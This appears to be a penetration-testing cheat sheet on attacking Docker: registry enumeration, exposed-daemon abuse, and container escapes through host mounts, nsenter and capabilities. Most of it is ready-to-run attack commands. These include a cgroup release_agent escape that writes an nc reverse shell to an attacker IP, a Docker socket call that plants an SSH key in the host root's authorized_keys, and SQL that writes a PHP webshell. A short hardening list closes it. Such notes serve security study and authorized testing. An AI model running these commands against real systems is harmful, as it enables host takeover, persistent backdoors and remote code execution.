killchain-compendium/Exploits/Containers/Docker.md

6.2 KiB

Docker Vulnerabilities

Check if you are inside a container

  • Low process count
ps aux
  • .dockerenv in /
cd / && ls -lah
  • cgroups contain docker names
pwd /proc/1
cat cgroups

Abusing Registry

  • Registry Doc
  • Registry is a json API endpoint
  • Private registry added in /etc/docker/daemon.json
  • Can be found by nmap as a service

Enumerate the Registry through DockerRegistryGrabber.

Enumeration

  • General query
curl http://test.com:5000/v2/_catalog`
  • List tags
curl http://example.com:5000/v2/<REPOSITORY>/<APP>/tags/list
curl http://example.com:5000/v2/<REPOSITORY>/tags/list

history section of the json object contains commands executed at build phase. May contain sensitive data like passwords.

curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>

Remote Docker Daemon

Users inside the docker group may open tcp socket through docker In case you find an exposed docker daemon it can be used in the following way

docker -H tcp://$TARGET_IP:2375 ps
docker -H tcp://$TARGET_IP:2375 images
docker -H tcp://test.com:2375 exec <container> <cmd>
docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh

RCE via Exposed Docker Daemon

Execute commands on socket

Escape Container via Exposed Docker Daemon

Look out for exposed docker sockets

find / -name "*sock" 2>/dev/null
groups

Mount the host volume and chroot to it. Ideally, use an image that is installed already, e.g. alpine here.

docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

or

docker run -v /:/host --rm -it <imageID> chroot /host/ bash

Shared Namespaces

Requires root inside the container

nsenter --target 1 --mount sh
nsenter --target 1 --mount --uts --ipc --net /bin/bash

Misconfiguration

Capabilities

Privileged container connect to the host directly, not through the docker engine. Execution of binaries on the host from inside the container is possible.

capsh --print

Exploit and get a reverse shell to the host via

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Caveat: The file may appear outside the container on some host systems. Have to investigate...

cap_admin

cap_sys_admin provides the ability to spawn a root shell inside the container

capsh --gid=0 --uid=0 --

Further, if there is access to the host this capability can be used to set chmod u+s /bin/bash and list the available mounts. The mounts can be listed findmnt. Resulting in a useable root bash on the host via executing it on the path of the docker volume, e.g.

/var/lib/docker/overlay2/l/randomhash/bin/bash -p

Check fdisk

fdisk -l and lsblk, host bulk device may be exposed Mount the device

mkdir /mnt/hostdev
mount /dev/<hostVda> /mnt/hostdev
  • Check /dev as well !!! and mount device

Creating a Container from inside another container

  • Needs root inside a container
  • Upload static curl
  • Check available images and containers
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
  • Inside the container as root
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
  • Return value is the ID
  • Start a container
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
  • Login in to the host via ssh remotely or socat locally
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

Reversing Docker Images

dive <IMAGE-ID>

Uploading Images to Registry

  • Ever image has a latest tag
  • Upload modified docker image as latest
  • Article

Escape through DB

  • Login into DB
  • Create table
  • Inject PHP code
  • Select table content into a file the user can read
  • Execute the file
create table h4x0r (pwn varchar(1024));
insert into h4x0r (pwn) values ('<?php $cmd=$_GET["cmd"];system($cmd);?>');
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r INTO OUTFILE '/var/www/html/shell.php';
copy (select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r) to '/var/www/html/shell.php'; # In case of PostreSQL

curl the webshell hon the exploited host

curl <host-IP>/shell.php?cmd=id

Dirty c0w

DirtyC0w

runC

CVE-2019-5736

Securing a Container

  • Least Privileges
  • Seccomp
  • Securing Registry via TLS

References